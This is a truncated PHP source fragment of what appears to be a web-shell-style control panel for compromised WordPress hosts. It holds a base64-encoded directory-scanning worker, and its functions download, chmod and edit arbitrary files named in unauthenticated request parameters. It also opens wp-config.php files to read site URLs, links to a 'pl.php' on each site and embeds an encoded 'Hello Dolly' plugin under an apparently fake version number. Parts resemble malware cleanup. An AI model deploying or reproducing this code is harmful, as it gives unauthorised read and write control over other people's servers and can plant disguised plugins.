ogICAgfQogICAgaWYgKGluX2FycmF5KCRmbmFtZSwkZnVsbCkpewogICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIEFkZF9UYXNrKCRkaXIpewoJZWNobyAiQWRkICRkaXIgPGJyPlxuIjsKICAgICR0YXNrX2ZpbGUgPSAnX3Rhc2snOwogICAgJGRpciA9IHRyaW0oJGRpcik7CiAgICAkZGlyID0gc3RyX3JlcGxhY2UoJy8vJywnLycsJGRpcik7CiAgICBpZiAoc3RybGVuKCRkaXIpID4gMil7CiAgICAgICAgJHlwb3MgPSBzdHJsZW4oJGRpciktMTsKICAgICAgICBpZigkZGlyWyR5cG9zXSA9PSAnLycpewogICAgICAgICAgICAkZGlyID0gc3Vic3RyKCRkaXIsMCwkeXBvcyk7CiAgICAgICAgfQogICAgfQogICAgaWYgKCFAaXNfcmVhZGFibGUoJGRpcikpe3JldHVybiB0cnVlO30KICAgIGlmIChDaGVja19CYWRfRGlyKCRkaXIpKXtyZXR1cm4gdHJ1ZTt9CiAKICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICBpZiAoZmlsZV9leGlzdHMoJHRhc2tfZmlsZSkpewogICAgICAgICRoYW5kbGUgPSBAZm9wZW4oJHRhc2tfZmlsZSwgInIiKTsKICAgICAgICBpZiAoJGhhbmRsZSkgewogICAgICAgICAgICB3aGlsZSAoKCRidWZmZXIgPSBmZ2V0cygkaGFuZGxlLCA0MDk2KSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkYnVmZmVyID0gdHJpbSgkYnVmZmVyKTsKICAgICAgICAgICAgICAgIGlmKCRkaXIgPT0gJGJ1ZmZlcil7cmV0dXJuIGZhbHNlO30KICAgICAgICAgICAgfQogICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgfQogICAgfSAKCSRmID0gZm9wZW4oJHRhc2tfZmlsZSwiYSIpOwoJZnB1dHMoJGYsIiRkaXIiLiBQSFBfRU9MKTsKCWZjbG9zZSgkZik7Cn0KCmZ1bmN0aW9uIGxvZ193cCgkZmlsZSl7CiAgICAkZiA9IGZvcGVuKCd3cF9sb2cnLCAiYSIpOwogICAgZnB1dHMoJGYsIiRmaWxlXG4iKTsKICAgIGZjbG9zZSgkZik7Cn0KCmZ1bmN0aW9uIGdldF91cmwoJHVybCl7CiRjaCA9IGN1cmxfaW5pdCgkdXJsKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDIwKTsKJHVsdCA9IGN1cmxfZXhlYygkY2gpOwppZigkdWx0KXtyZXR1cm4gJHVsdDt9IGVsc2UgewokdG1wID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7CnJldHVybiAkdG1wOyAgCn0KfQoKZnVuY3Rpb24gd3JpdGVfbG9nKCR0ZXh0KXsKCiAgICAkZiA9IGZvcGVuKCdiaWdfbG9nJywiYSIpOwogICAgZnB1dHMoJGYsIiR0ZXh0XG4iKTsKICAgIGZjbG9zZSgkZik7Cn0KCmZ1bmN0aW9uIG1hbnVhbF9sb2coJGZpbGUsJGNvZGUpewogICAgJGNvZGUgPSB0cmltKCRjb2RlKTsKICAgICRmID0gZm9wZW4oJ21hbnVhbF9sb2cnLCAiYSIpOwogICAgZnB1dHMoJGYsIiRmaWxlPT09PT0kY29kZVxuIik7CiAgICBmY2xvc2UoJGYpOwp9CgpmdW5jdGlvbiBuZWVkX2NoZWNrKCRmaWxlbmFtZSl7CiAgICBnbG9iYWwgJHBhdHRlcm5zOwoKICAgIGZvcmVhY2ggKCRwYXR0ZXJucyBhcyAkdCkgewogICAgICAgIGlmKHByZWdfbWF0Y2goJHRbJ2ZpbGVuYW1lJ10sICRmaWxlbmFtZSkpewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIG1vZGlmeSgkZmlsZSl7CiAgICAKLy8gICAgZ2xvYmFsICRleGNlcHRpb25zOwogICAgZ2xvYmFsICRwYXR0ZXJucywgJHBhcmFub2lkOwoKICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRmaWxlKTsKCiAgICAkcGFyYSA9IGZhbHNlOwoKICAgIGlmKGlzc2V0KCRfQ09PS0lFWydwYXJhbm9pZF93b3JrZXInXSkpewogICAgICAgICRwYXJhID0gdHJ1ZTsKICAgIH0KCiAgICBpZighbmVlZF9jaGVjaygkZmlsZW5hbWUpKXsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHRtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsKCiAgICAgICAgaWYoJHBhcmEpewogICAgICAgICAgICAkcGFyYW5vaWRfdG1wID0gcHJlZ19yZXBsYWNlKCd+XC9cKi4qP1wqXC9+aXNtJywgJycsICR0bXApOwogICAgICAgICAgICAkcGFyYW5vaWRfdG1wID0gcHJlZ19yZXBsYWNlKCd+Ly9bXlxyXG5dKn5pcycsICcnLCAkcGFyYW5vaWRfdG1wKTsKICAgICAgICB9ICAgCiAgICB9CgogICAgZm9yZWFjaCAoJHBhdHRlcm5zIGFzICR0KSB7IAogICAgICAgIGlmKHByZWdfbWF0Y2goJHRbJ2ZpbGVuYW1lJ10sICRmaWxlbmFtZSkpeyAgICAgICAgICAgCiAgICAgICAgaWYgKHByZWdfbWF0Y2goJHRbJ2NvZGUnXSwgJHRtcCkpIHsKCgogICAgICAgICAgICBzd2l0Y2ggKCR0WydhY3Rpb24nXSkgewogICAgICAgICAgICAKCiAgICAgICAgICAgIGNhc2UgImN1dCI6CiAgICAgICAgICAgICAgICBjb3B5KCRmaWxlLCRmaWxlIC4gJy5zdXNwZWN0ZWQnKTsKICAgICAgICAgICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJHRbJ2NvZGUnXSwgJycsICR0bXApOwogICAgICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkdG1wKSA9PT0gZmFsc2UpewoKICAgICAgICAgICAgICAgICAgICBpZihjaG1vZCgkZmlsZSwwNzc3KSl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHRtcCkgPT09IGZhbHNlKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1hbnVhbF9sb2coJGZpbGUsJ3dyaXRlIGVycm9yIGFmdGVyIGN1dCcpOyAgICAKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG1hbnVhbF9sb2coJGZpbGUsJ3dyaXRlIGVycm9yIGFmdGVyIGN1dCcpOyAgICAgCiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHdyaXRlX2xvZygiJGZpbGUgY3V0Iik7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICBjYXNlICJkZWxldGUiOgogICAgICAgICAgICAgICAgY29weSgkZmlsZSwkZmlsZSAuICcuc3VzcGVjdGVkJyk7CiAgICAgICAgICAgICAgICBpZih1bmxpbmsoJGZpbGUpID09PSBmYWxzZSl7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgJGZkID0gZGlybmFtZSgkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgaWYoY2htb2QoJGZkLDA3NzcpKXsKICAgICAgICAgICAgICAgICAgICAgICAgaWYodW5saW5rKCRmaWxlKSA9PT0gZmFsc2UpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWFudWFsX2xvZygkZmlsZSwnd3JpdGUgZXJyb3IgYWZ0ZXIgZGVsZXRlJyk7IAogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWFudWFsX2xvZygkZmlsZSwnd3JpdGUgZXJyb3IgYWZ0ZXIgZGVsZXRlJyk7ICAgIAogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB3cml0ZV9sb2coIiRmaWxlIGRlbGV0ZSIpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICBjYXNlICJtYW51YWwiOgogICAgICAgICAgICAgICAgbWFudWFsX2xvZygkZmlsZSwgJHRbJ2NvZGUnXSk7CiAgICAgICAgICAgICAgICB3cml0ZV9sb2coIiRmaWxlIG1hbnVhbCIpOwogICAgICAgICAgICAKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICBjYXNlICJyZXBsYWNlIjoKICAgICAgICAgICAgICAgIGNvcHkoJGZpbGUsJGZpbGUgLiAnLnN1c3BlY3RlZCcpOwogICAgICAgICAgICAgICAgJHRtcCA9IGdldF91cmwoJHRbJ3VybCddKTsKICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHRtcCkgPT09IGZhbHNlKXsKCiAgICAgICAgICAgICAgICAgICAgaWYoY2htb2QoJGZpbGUsMDc3NykpewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICR0bXApID09PSBmYWxzZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYW51YWxfbG9nKCRmaWxlLCd3cml0ZSBlcnJvciBhZnRlciByZXBsYWNlJyk7ICAgIAogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWFudWFsX2xvZygkZmlsZSwnd3JpdGUgZXJyb3IgYWZ0ZXIgcmVwbGFjZScpOyAgICAgCiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHdyaXRlX2xvZygiJGZpbGUgcmVwbGFjZSIpOwogICAgICAgICAgICAKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICBjYXNlICJjbGVhbiI6CiAgICAgICAgICAgICAgICBjb3B5KCRmaWxlLCRmaWxlIC4gJy5zdXNwZWN0ZWQnKTsKICAgICAgICAgICAgICAgICR0bXAgPSAnPD9waHAgPz4nOwogICAgICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkdG1wKSA9PT0gZmFsc2UpewoKICAgICAgICAgICAgICAgICAgICBpZihjaG1vZCgkZmlsZSwwNzc3KSl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHRtcCkgPT09IGZhbHNlKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1hbnVhbF9sb2coJGZpbGUsJ3dyaXRlIGVycm9yIGFmdGVyIGNsZWFuJyk7ICAgIAogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWFudWFsX2xvZygkZmlsZSwnd3JpdGUgZXJyb3IgYWZ0ZXIgY2xlYW4nKTsgICAgIAogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB3cml0ZV9sb2coIiRmaWxlIGNsZWFuIik7CiAgICAgICAgICAgIAogICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgCiAgICAgICAgICAgIGNhc2UgInNyZXBsYWNlIjoKICAgICAgICAgICAgICAgIGNvcHkoJGZpbGUsJGZpbGUgLiAnLnN1c3BlY3RlZCcpOwogICAgICAgICAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgkdFsnY29kZSddLCAkdFsnbmV3Y29kZSddLCAkdG1wKTsKICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHRtcCkgPT09IGZhbHNlKXsKICAgICAgICAgICAgICAgICAgICBtYW51YWxfbG9nKCRmaWxlLCd3cml0ZSBlcnJvciBhZnRlciBzcmVwbGFjZScpOyAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHdyaXRlX2xvZygiJGZpbGUgc3JlcGxhY2UiKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICAgICAgfQoKICAgICAgICB9CiAgICAgICAgfSAgIAogICAgCiAgICB9CgogICAgaWYoJHBhcmEpewogICAgICAgIGZvcmVhY2ggKCRwYXJhbm9pZCBhcyAkdCkgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkdFsnY29kZSddLCAkcGFyYW5vaWRfdG1wLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICBtYW51YWxfbG9nKCRmaWxlLCAncGFyYW5vaWQgJyAuIGltcGxvZGUoJG1hdGNoKSk7CiAgICAgICAgICAgICAgICB3cml0ZV9sb2coIiRmaWxlIG1hbnVhbCIpOyAKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCn0gICAgCgpmdW5jdGlvbiBTY2FuX0RpcigkZGlyKSB7CiAgICBlY2hvICJTY2FuOiAkZGlyIDxicj5cbiI7CiAgICAkb2RpciA9IEBvcGVuZGlyKCRkaXIpOwogICAgd2hpbGUgKCgkZmlsZSA9IEByZWFkZGlyKCRvZGlyKSkgIT09IEZBTFNFKSB7CiAgICAJaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKXsKICAgICAgICAgICAgY29udGludWU7IAogICAgICAgIH0KICAgICAgICBpZiAoaXNfZGlyKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSkgJiYgKCFpc19saW5rKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSkpICYmIChAaXNfcmVhZGFibGUoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKSkpewogICAgICAgICAgICBBZGRfVGFzaygkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGUpOwogICAgICAgIH0KICAgICAgICBpZigkZmlsZSA9PSAnd3AtY29uZmlnLnBocCcpewogICAgICAgICAgICBsb2dfd3AoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKTsKICAgICAgICB9CiAgICAgICAgaWYoKCRmaWxlICE9PSAnX3dvcmtlci5waHAnKSAmJiAoJGZpbGUgIT09ICdjcGwucGhwJykgJiYgKCRmaWxlICE9PSAnaWkucGhwJykgJiYgKCRmaWxlICE9PSAnY29uZmlnX3dwLnBocCcpKXsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmKCFpc3NldCgkX0NPT0tJRVsnZmFzdF93b3JrZXInXSkpewogICAgICAgICAgICAgICAgbW9kaWZ5KCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9ICAgIAogICAgfQogICAgICAgIEBjbG9zZWRpcigkb2Rpcik7Cn0KCiR3b3JrX2NvdW50ID0gMDsKd2hpbGUgKCAkd29ya19jb3VudDw9IDI1KSB7CgkkZGlyID0gR2V0X1Rhc2soKTsKCWlmICgkZGlyID09PSBmYWxzZSl7RGVhZExldHRlcigpO30gZWxzZSB7CgllY2hvICJXb3JraW5nIGRpcjogJGRpciA8YnI+XG4iOwoJU2Nhbl9EaXIoJGRpcik7Cgkkd29ya19jb3VudCsrOwp9Cn0KZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb24uaHJlZiA9ICdfd29ya2VyLnBocD8nICsgTWF0aC5yYW5kb20oKTs8L3NjcmlwdD4iOwoKCg==')); 
  

 	echo "<script>location.href='_worker.php';
	parent.Worker('f_m','','', '','','file_man');
	</script>";
}

function manage_file(){

	if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
		$fm = $_REQUEST['f'];
  		$file_to_man = base64_decode($_REQUEST['f']);
	} else {
  		die('WTF?');
	}
	
	if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
  		$dir = $_REQUEST['d'];
	} else {
  		die('WTF?');
	}

  if(isset($_REQUEST['p']) && '' !== $_REQUEST['p']){
      $param = $_REQUEST['p'];
  } else {
      $param = 'reload';
  }
	$passh = get_perm($file_to_man);
	echo "<style>a {cursor:pointer; color:#00f}</style>";
  	echo "$file_to_man<br><br>$passh<br><br><br>";
  	echo "<a onClick=parent.Worker('c_f','$dir','$fm','0444','$param','edit_box');>[444]</a> ";
  	echo "<a onClick=parent.Worker('c_f','$dir','$fm','0666','$param','edit_box');>[666]</a> ";
  	echo "<a onClick=parent.Worker('c_f','$dir','$fm','0644','$param','edit_box');>[644]</a> ";
  	echo "<a onClick=parent.Worker('c_f','$dir','$fm','0755','$param','edit_box');>[755]</a><br><br>";
  	echo "<a onClick=parent.Worker('r_f','$dir','$fm','','$param','edit_box');>[Renew]</a><br><br>";
  	echo "<a onClick=parent.Worker('d_d','','$fm','','','edit_box');>[Download]</a><br><br>";
  	echo "<a onClick=parent.Worker('e_f','$dir','$fm','','$param','edit_box');>[Edit]</a><br><br>";
}

function download000(){
	if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
		$file_to_down = base64_decode($_REQUEST['f']);
	} else {
		die('WTF?');
	}
  	header('Content-Description: File Transfer');
  	header('Content-Type: application/octet-stream');
  	header('Content-Disposition: attachment; filename="'.basename($file_to_down).'"');
  	header('Expires: 0');
  	header('Cache-Control: must-revalidate');
  	header('Pragma: public');
  	header('Content-Length: ' . filesize($file_to_down));
  	readfile($file_to_down);
}

function chmod_file(){

	if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
		$fm = $_REQUEST['f'];
  		$file_to_man = base64_decode($_REQUEST['f']);
	} else {
  		die('WTF?');
	}
	
	if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
  		$dir = $_REQUEST['d'];
	} else {
  		die('WTF?');
	}

  if(isset($_REQUEST['p']) && '' !== $_REQUEST['p']){
      $param = $_REQUEST['p'];
  } else {
      die('WTF?');
  }

	if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
  		$mode = 1 * $_REQUEST['c'];
	} else {
  		die('WTF?');
	}

	@chmod($file_to_man, octdec($mode));
  if('reload' == $param){
    echo "<script>parent.Worker('f_m','$dir','', '','$fm','file_man'); parent.Worker('m_f','$dir','$fm', '','','edit_box'); </script>";
  } 
  if('noreload' == $param){
    @clearstatcache();
    $passh = get_perm($file_to_man);
    echo $passh;
  }
}

function renew_file(){
	

	if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
		$fm = $_REQUEST['f'];
  		$file_to_rn = base64_decode($_REQUEST['f']);
	} else {
  		die('WTF?');
	}
	
	if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
  		$dir = $_REQUEST['d'];
	} else {
  		die('WTF?');
	}

	if(@is_readable($file_to_rn)){

    	$tmp = file_get_contents($file_to_rn);

    	if(strlen($tmp) > 0) {
    		if (@unlink($file_to_rn)){
        		file_put_contents($file_to_rn, $tmp);
        			echo "<script>parent.Worker('f_m','$dir','', '','$fm','file_man');
	parent.Worker('m_f','$dir','$fm', '','','edit_box');
	</script>";
        		die();
      		} else {
        		die('Can not unlink');
      		}
    	} else {
    		die('Zero read');
	    }
    
  	} else {
    	die('Non readable');
  	}
}

function manual_av(){

	echo "<style>table.blueTable  tbody tr:hover { background: #fff;} table.blueTable  tbody tr { background: #EEEEEE;} </style>
	<script>function check_item(box_id){  document.getElementById(box_id).checked = true;  }

  function OKFunction(md5){
    url = '//127.0.0.1/add_exception.php?md5=' + md5;
    var script = document.createElement('script');
    script.type = 'text/javascript';
    script.src = url;
    document.body.appendChild(script);
  }
  function DelOKFunction(md5){
    url = '//127.0.0.1/del_base.php?md5=' + md5;
    var script = document.createElement('script');
    script.type = 'text/javascript';
    script.src = url;
    document.body.appendChild(script);
  }
  var md5 = ['aaa'];
  var md5_del = ['aaa'];
  var mmd = new Map(); 
  

  </script>";
  $filter =  explode('|', $_COOKIE['filter']);
  $all_files = file('manual_log');
  $all_files = array_unique($all_files);
  $ii = 0;
  $iii = 0;
  $md_summ = '';
  foreach($all_files as $t){
    $t = trim($t);

    if(strpos($t,'/cache/') > 0){continue;}
    if(strpos($t,'/twig/') > 0){continue;}
    $tex = explode('=====', $t);
    $t = $tex[0];
    if(!file_exists($t)){continue;}

    if(isset($filter[0])){
      if(strpos($t,$filter[0]) > 0){continue;}
    }
    if(isset($filter[1])){
      if(strpos($t,$filter[1]) > 0){continue;}
    }
    if(isset($filter[2])){
      if(strpos($t,$filter[2]) > 0){continue;}
    }
    if(isset($filter[3])){
      if(strpos($t,$filter[3]) > 0){continue;}
    }
    $note = $tex[1];
    $md5 = md5(file_get_contents($t));
    $cf = base64_encode($t);
    $dir = dirname($t);
    $cdir = base64_encode($dir);
    $file = basename($t);
    $fe = wsoViewSize(filesize($t));
    echo "<p id='$md5' class='$md5'><table  class='blueTable' width=100%><tbody><tr>
    <td rowspan=2 style='text-align:center' onClick=check_item('box_$ii');><input type=checkbox id='box_$ii'></td>
    <td colspan=2><input type=text value='$file' style='width:200px;'><input style='width:555px' type=text value=$dir></td></tr>
    <tr><td valign=baseline>
    <input type=button  onClick=\"parent.Worker('e_f','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value='' style='font-size:30px;height:45px;cursor:pointer'>
    <input type=button style='font-size:30px;height:45px;cursor:pointer; color:green' onClick=\"OKFunction('$md5'); check_item('box_$ii');\" value='&#10004;'>
  
    <input type=button style='font-size:30px;height:45px;cursor:pointer; color:blue'  onClick=\"parent.Worker('d_d','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value='&#11015;'>";
    if(strpos($note, 'paranoid') === false){
      $note = htmlentities($note,ENT_QUOTES);
    }else{
      $note = str_replace('paranoid ', '', $note);
      $find = base64_encode($note);
      $note = htmlentities($note,ENT_QUOTES);
      echo " <input type=button onClick=\"parent.FindEx('$find');\" style='font-size:30px;height:45px;cursor:pointer; color:#f00' value=''>";  
    }
    echo " <input style='width:250px' type=text value='$note'>   	
   	 $fe </td><td align=center>

    <input type=button onClick=\"parent.Worker('d_n','$cdir','$cf','$file','reload','edit_box'); check_item('box_$ii');\" style='font-size:30px;height:45px;cursor:pointer; color:#f00' value='' >


    <button onClick=\"parent.Worker('d_5','$cdir','$cf','$md5','reload','edit_box'); DelOKFunction('$md5');\" ><span style='font-size:30px;color:#f00;';></span><span class='a_$md5' style='font-size:15px;';></span></button>


   </td></tr></tbody></table></p>";
  

  $md_summ = $md_summ . $md5 . '|';

  $iii++;  
  if($iii > 50){
    $iii = 0;
    echo "<script src=//127.0.0.1/table.php?md5=$md_summ></script>";

    echo "<script>";
    $mmd = explode('|', $md_summ);
    foreach ($mmd as $mmd5) {
      echo "if(mmd.get('$mmd5') == undefined){mmd.set('$mmd5',1);} else {    mmd.set('$mmd5', mmd.get('$mmd5') +1 );    }";
    }
    echo "</script>";

    $md_summ = '';
  }
  $ii++;  
  }
  echo "<script src=//127.0.0.1/table.php?last=true&md5=$md_summ></script>";
  echo "<script>";
    $mmd = explode('|', $md_summ);
    foreach ($mmd as $mmd5) {
      echo "if(mmd.get('$mmd5') == undefined){mmd.set('$mmd5',1);} else {    mmd.set('$mmd5', mmd.get('$mmd5') +1 );    }";
    }
  echo "</script>";
  echo "<script>

for (let key of mmd.keys()) {

Array.from(document.getElementsByClassName('a_' + key)).forEach(
    function(element, index, array) {
        element.innerHTML = mmd.get(key);
    }
);

}
  </script>";


}

function manual_wp(){

  echo "<style>table.blueTable  tbody tr:hover { background: #fff;} table.blueTable  tbody tr { background: #EEEEEE;} </style>";
  echo "<script>function check_item(box_id){ document.getElementById(box_id).checked = true;  }</script><table class='blueTable'>";
  $all_files = file('wp_log');
  $all_files = array_unique($all_files);
  $ii = 0;
  foreach($all_files as $t){
    $t = trim($t);
    $cdir = base64_encode(dirname($t));
    $cf = base64_encode($t);
    echo "<tr>
    <td><input type=checkbox id='box_$ii'></td>
    <td><input style='cursor:pointer; color:green' type=button onClick=\"parent.Worker('m_wp','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value='&#10148;'></td>
    <td><input style='width:380px' type=text value=$t></td>
    <td><input style='cursor:pointer;'  type=button onClick=\"parent.Worker('d_w','$cdir','$cf','true','noreload','edit_box'); check_item('box_$ii');\" value=''></td>
    <td><input style='cursor:pointer;'  type=button onClick=\"parent.Worker('d_w','$cdir','$cf','false','noreload','edit_box'); check_item('box_$ii');\" value=''></td>
    <td><input style='cursor:pointer;'  type=button onClick=\"parent.Worker('u_w','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value=''></td>
    <td><input style='cursor:pointer;'  type=button onClick=\"parent.Worker('e_f','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value=''></td>
    <td><input style='cursor:pointer;'  type=button onClick=\"parent.Worker('m_f','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value=''></td>
    <td><input style='cursor:pointer; color:blue'  type=button onClick=\"parent.Worker('c_z','$cdir','$cf','','noreload','worker_box'); check_item('box_$ii');\" value='&#11014;' ></td>
    <td><input style='cursor:pointer; color:red'  type=button onClick=\"parent.Worker('d_z','$cdir','$cf','','noreload','worker_box'); check_item('box_$ii');\" value='' ></td>

    </tr>";
  $ii++;  
  }
  echo '</table>';
}

function make_wp(){

  if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
    $wpc = base64_decode($_REQUEST['f']);
  } else {
    die('WTF?');
  }

  @clearstatcache();

  if(!file_exists($wpc)){
    die('404 file not found');
  }

  $tmp = file_get_contents($wpc);
  
  if (strpos($tmp, 'wp-user-set') > 0){
    echo 'user settings found<br>';
    $tmp = str_replace('wp-user-settings.php', 'wp-settings.php', $tmp);

      $wpc_perm = '';

    if(!is_writeable($wpc)){
      $wpc_perm = substr(decoct(fileperms($wpc)),-4);
      echo $wpc_perm;
      @chmod($wpc, octdec('0666'));
    }

    if(file_put_contents($wpc, $tmp)){
      echo "<font color=green>Succes:</font> clean $wpc<br>";
    } else {
      echo "<font color=red>Error:</font>can't clean $wpc<br>";
      die();
    }

    if ('' !== $wpc_perm){
      @chmod($wpc, octdec($wpc_perm));
    }
    
    $tmp_file = str_replace('wp-config.php', '.error_reporting', $wpc);
    unlink($tmp_file); 
    $tmp_file = str_replace('wp-config.php', '.atime', $wpc);
    unlink($tmp_file);
    $tmp_file = str_replace('wp-config.php', 'wp-user-settings.php', $wpc);
    unlink($tmp_file);
  }

  chdir(dirname($wpc));

  include_once($wpc);

  if(function_exists('get_option')){
    echo '<font color=green>Succes:</font> WP work<br>';
  } else {
    echo '<font color=red>Error:</font> WP not found<br>';
  }

  $site_url = get_option('siteurl');

  if(false === $site_url){
    echo '<font color=red>Error:</font> WP url not found<br>';
    die();
  } else {
    echo "<font color=green>Succes:</font> WP url $site_url<br>";
  }

  if ('/' !== substr($site_url, -1)){
    $site_url = $site_url . '/';
  }

  echo "<br><form action='http://127.0.0.1/insert_to_base.php' method=POST target='_new'>
  <input id=url type=text name=url value='$site_url'><input type=submit value='&#10148;' style='color:green'></form><br>
  ";
  $ssite_url = str_replace('http://', 'https://', $site_url);
  echo "<br><form action='http://127.0.0.1/insert_to_base.php' method=POST target='_new'>
  <input id=url type=text name=url value='$ssite_url'><input type=submit value='&#10148;' style='color:green'></form><br>
  ";
  echo "<a target=_blank href=$site_url>Goto $site_url</a><br><br>";
  echo "<a target=_blank href=$site_url"."pl.php>Goto $site_url"."pl.php</a><br><br>";

  $dolly_code = 'PD9waHAKLyoqCiAqIEBwYWNrYWdlIEhlbGxvX0RvbGx5CiAqIEB2ZXJzaW9uIDExLjcuMgogKi8KLyoKUGx1Z2luIE5hbWU6IEhlbGxvIERvbGx5ClBsdWdpbiBVUkk6IGh0dHA6Ly93b3JkcHJlc3Mub3JnL3BsdWdpbnMvaGVsbG8tZG9sbHkvCkRlc2NyaXB0aW9uOiBUaGlzIGlzIG5vdCBqdXN0IGEgcGx1Z2luLCBpdCBzeW1ib2xpemVzIHRoZSBob3BlIGFuZCBlbnRodXNpYXNtIG9mIGFuIGVudGlyZSBnZW5lcmF0aW9uIHN1bW1lZCB1cCBpbiB0d28gd29yZHMgc3VuZyBtb3N0IGZhbW91c2x5IGJ5IExvdWlzIEFybXN0cm9uZzogSGVsbG8sIERvbGx5LiBXaGVuIGFjdGl2YXRlZCB5b3Ugd2lsbCByYW5kb21seSBzZWUgYSBseXJpYyBmcm9tIDxjaXRlPkhlbGxvLCBEb2xseTwvY2l0ZT4gaW4gdGhlIHVwcGVyIHJpZ2h0IG9mIHlvdXIgYWRtaW4gc2NyZWVuIG9uIGV2ZXJ5IHBhZ2UuCkF1dGhvcjogTWF0dCBNdWxsZW53ZWcKVmVyc2lvbjogMTEuNy4yCkF1dGhvciBVUkk6IGh0dHA6Ly9tYS50dC8KKi8KCmZ1bmN0aW9uIGhlbGxvX2RvbGx5X2dldF9seXJpYygpIHsKCS8qKiBUaGVzZSBhcmUgdGhlIGx5cmljcyB0byBIZWxsbyBEb2